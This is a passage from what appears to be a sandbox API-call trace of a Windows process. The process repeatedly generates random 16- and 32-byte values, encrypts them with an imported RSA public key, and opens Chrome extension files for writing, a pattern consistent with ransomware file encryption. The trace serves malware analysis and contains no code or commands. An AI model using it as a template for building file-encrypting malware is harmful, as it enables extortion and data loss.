1 [0215.752] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0215.756] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b9c0) returned 1 [0215.756] CryptGetKeyParam (in: hKey=0x648b9c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.756] CryptEncrypt (in: hKey=0x648b9c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7360000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7360000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.757] GetLastError () returned 0x0 [0215.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0215.757] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.759] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bc00) returned 1 [0215.759] CryptGetKeyParam (in: hKey=0x648bc00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.759] CryptEncrypt (in: hKey=0x648bc00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7370000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7370000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.759] GetLastError () returned 0x0 [0215.760] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.760] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.965] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.968] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.968] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.968] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0215.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.971] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.971] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.971] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.973] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bcc0) returned 1 [0215.973] CryptGetKeyParam (in: hKey=0x648bcc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.973] CryptEncrypt (in: hKey=0x648bcc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1f0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x1f0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.974] GetLastError () returned 0x0 [0215.974] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.974] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.975] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bd00) returned 1 [0215.975] CryptGetKeyParam (in: hKey=0x648bd00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.975] CryptEncrypt (in: hKey=0x648bd00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x200000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x200000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.976] GetLastError () returned 0x0 [0215.976] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.976] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.979] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.979] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.979] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0215.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.981] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.981] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.981] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.981] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.983] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648be00) returned 1 [0215.983] CryptGetKeyParam (in: hKey=0x648be00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.983] CryptEncrypt (in: hKey=0x648be00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x430000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x430000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.983] GetLastError () returned 0x0 [0215.983] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.983] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.985] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bf00) returned 1 [0215.985] CryptGetKeyParam (in: hKey=0x648bf00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.985] CryptEncrypt (in: hKey=0x648bf00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x440000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x440000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.986] GetLastError () returned 0x0 [0215.986] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.986] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.986] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.989] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.989] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.989] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.991] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.991] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.991] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.991] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0215.994] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648ba00) returned 1 [0215.994] CryptGetKeyParam (in: hKey=0x648ba00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.994] CryptEncrypt (in: hKey=0x648ba00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x450000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x450000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.995] GetLastError () returned 0x0 [0215.995] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.995] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.997] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bd40) returned 1 [0215.997] CryptGetKeyParam (in: hKey=0x648bd40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.997] CryptEncrypt (in: hKey=0x648bd40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x460000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x460000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.997] GetLastError () returned 0x0 [0215.997] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.997] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.997] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0215.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.000] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.000] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0216.000] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.003] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.003] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.003] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.003] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0216.005] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bd80) returned 1 [0216.005] CryptGetKeyParam (in: hKey=0x648bd80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.005] CryptEncrypt (in: hKey=0x648bd80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x470000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x470000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.005] GetLastError () returned 0x0 [0216.005] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0216.005] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.007] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484200) returned 1 [0216.007] CryptGetKeyParam (in: hKey=0x6484200, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.007] CryptEncrypt (in: hKey=0x6484200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x480000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x480000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.007] GetLastError () returned 0x0 [0216.007] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.008] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0216.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.010] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.010] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0216.010] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.012] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.013] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.013] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.013] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.015] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484840) returned 1 [0216.015] CryptGetKeyParam (in: hKey=0x6484840, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.015] CryptEncrypt (in: hKey=0x6484840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x490000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x490000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.015] GetLastError () returned 0x0 [0216.015] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.015] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.017] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64843c0) returned 1 [0216.017] CryptGetKeyParam (in: hKey=0x64843c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.017] CryptEncrypt (in: hKey=0x64843c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4a0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.017] GetLastError () returned 0x0 [0216.017] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.017] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.017] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.019] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.020] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.020] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.020] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.020] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.021] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.022] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.022] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.023] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0216.025] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484400) returned 1 [0216.025] CryptGetKeyParam (in: hKey=0x6484400, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.025] CryptEncrypt (in: hKey=0x6484400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4b0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.026] GetLastError () returned 0x0 [0216.026] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0216.026] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0216.027] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484480) returned 1 [0216.027] CryptGetKeyParam (in: hKey=0x6484480, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.027] CryptEncrypt (in: hKey=0x6484480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4c0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.028] GetLastError () returned 0x0 [0216.028] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.028] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.240] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.243] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.243] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.243] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.244] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.245] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.245] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.246] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.248] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484180) returned 1 [0216.248] CryptGetKeyParam (in: hKey=0x6484180, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.248] 